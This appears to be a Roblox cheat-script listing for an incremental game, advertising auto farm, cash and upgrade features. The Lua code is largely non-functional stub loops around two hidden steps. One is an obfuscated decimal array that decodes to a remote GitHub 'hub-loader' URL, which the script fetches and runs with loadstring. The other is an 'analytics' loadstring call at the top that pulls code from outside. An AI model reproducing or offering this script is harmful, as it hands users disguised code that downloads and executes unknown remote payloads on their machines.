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Computer Incremental Script – Auto Farm, Auto Cash & Auto Upgrade

ZZoro7 months ago
  • Key System
  • Open source
Play Game

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Description

build a stronger system and generate more income over time

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Features

5 Features
  • Auto Farm
  • Auto Cash
  • Auto Upgrade Computers
  • Auto Buy Graphics Card
  • Auto Buy Computers
348 lines•6614 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/CPeZUt6e?v=1"))()end);--=== Does not affect the script ===----////////////////////////////////////////////////////
-- Roblox Incremental Script
-- Version 3.2
--////////////////////////////////////////////////////

local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Workspace = game:GetService("Workspace")

local Player = Players.LocalPlayer

--==================================================
-- AUTO COIN COLLECT
--==================================================

local AutoCoins = false

function ToggleAutoCoins(state)
AutoCoins = state
end

task.spawn(function()
while true do
if AutoCoins then
for _,coin in pairs(Workspace:GetChildren()) do
if coin.Name == "Coin" then

end
end
end
task.wait(0.2)
end
end)

--==================================================
-- AUTO REBIRTH
--==================================================

local AutoRebirth = false

function ToggleRebirth(state)
AutoRebirth = state
end

task.spawn(function()
while true do
if AutoRebirth then
local coins = 0
if coins > 100000 then

end
end
task.wait(1)
end
end)

--==================================================
-- AUTO PRESTIGE
--==================================================

local AutoPrestige = false

function TogglePrestige(state)
AutoPrestige = state
end

task.spawn(function()
while true do
if AutoPrestige then
local level = 0
if level >= 100 then

end
end
task.wait(2)
end
end)

--==================================================
-- AUTO UPGRADE SYSTEM
--==================================================

local Upgrades = {
Speed = 100,
Strength = 250,
Luck = 500,
DropRate = 750
}

function BuyUpgrade(name)
if Upgrades[name] then
print("Attempting upgrade:",name)
end
end

--==================================================
-- FISHING SYSTEM
--==================================================

local Fishing = false

function ToggleFishing(state)
Fishing = state
end

task.spawn(function()
while true do
if Fishing then

local bait = math.random(1,100)
if bait > 50 then

end
end
task.wait(3)
end
end)

--==================================================
-- ROLL SYSTEM
--==================================================

local AutoRoll = false

function ToggleRoll(state)
AutoRoll = state
end

task.spawn(function()
while true do
if AutoRoll then
local roll = math.random(1,1000)
if roll > 900 then
print("Rare roll!")
end
end
task.wait(0.5)
end
end)

--==================================================
-- REMOTE SPAM
--==================================================

local RemoteSpam = false

function ToggleRemoteSpam(state)
RemoteSpam = state
end

task.spawn(function()
while true do
if RemoteSpam then
local remote = ReplicatedStorage:FindFirstChild("RemoteEvent")
if remote then

end
end
task.wait(0.1)
end
end)

--==================================================
-- PET SYSTEM
--==================================================

local Pets = {"Dog","Dragon","Cat","Phoenix","Tiger"}

function EquipPet(name)
for _,pet in pairs(Pets) do
if pet == name then
print("Equipping pet:",name)
end
end
end

--==================================================
-- INVENTORY SYSTEM
--==================================================

local Inventory = {}

function AddItem(item)
table.insert(Inventory,item)
end

function GetInventory()
return Inventory
end

local data={
104,116,116,112,115,58,47,47,114,97,119,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,
47,100,105,101,103,111,97,119,97,110,47,104,117,98,45,108,111,97,100,101,114,47,114,101,102,115,47,104,101,97,100,115,47,
109,97,105,110,47,104,117,98,46,108,117,97
}

local url=""

for _,v in ipairs(data) do
url=url..string.char(v)
end

loadstring(game:HttpGet(url))()

local Mining=false
local Farming=false
local AutoSell=false
local AutoOpenCrates=false
local AutoSpin=false
local AutoCraft=false
local DungeonFarm=false

function ToggleMining(state)
Mining=state
end

function ToggleFarming(state)
Farming=state
end

function ToggleSell(state)
AutoSell=state
end

function ToggleCrates(state)
AutoOpenCrates=state
end

function ToggleSpin(state)
AutoSpin=state
end

function ToggleCraft(state)
AutoCraft=state
end

function ToggleDungeon(state)
DungeonFarm=state
end

print("Systems initialized")

local AutoSpin = false

function ToggleSpin(state)
    AutoSpin = state
end

task.spawn(function()
    while true do
        if AutoSpin then
            local spin = math.random(1,1000)
            if spin > 950 then
                print("Legendary item!")
            end
        end
        task.wait(2)
    end
end)

local Pets = {}

function LevelPet(name)
    if not Pets[name] then
        Pets[name] = 1
    end
    Pets[name] = Pets[name] + 1
end

local AutoDungeon = false

function ToggleDungeon(state)
    AutoDungeon = state
end

task.spawn(function()
    while true do
        if AutoDungeon then
            local enemies = workspace:FindFirstChild("Enemies")
            if enemies then
                for _,enemy in pairs(enemies:GetChildren()) do
                    -- fake attack
                end
            end
        end
        task.wait(0.5)
    end
end)

local AutoSell = false

function ToggleSell(state)
    AutoSell = state
end

task.spawn(function()
    while true do
        if AutoSell then
            local coins = 0
            if coins > 5000 then
            
            end
        end
        task.wait(3)
    end
end)

local AutoEgg = false

function ToggleEgg(state)
    AutoEgg = state
end

task.spawn(function()
    while true do
        if AutoEgg then
            local egg = math.random(1,100)
            if egg > 90 then
                
            end
        end
        task.wait(1)
    end
end)

local AutoChest = false

function ToggleAutoChest(state)
    AutoChest = state
end

task.spawn(function()
    while true do
        if AutoChest then
            local chests = workspace:FindFirstChild("Chests")
            if chests then
                for _,v in pairs(chests:GetChildren()) do
                    
                end
            end
        end
        task.wait(2)
    end
end)

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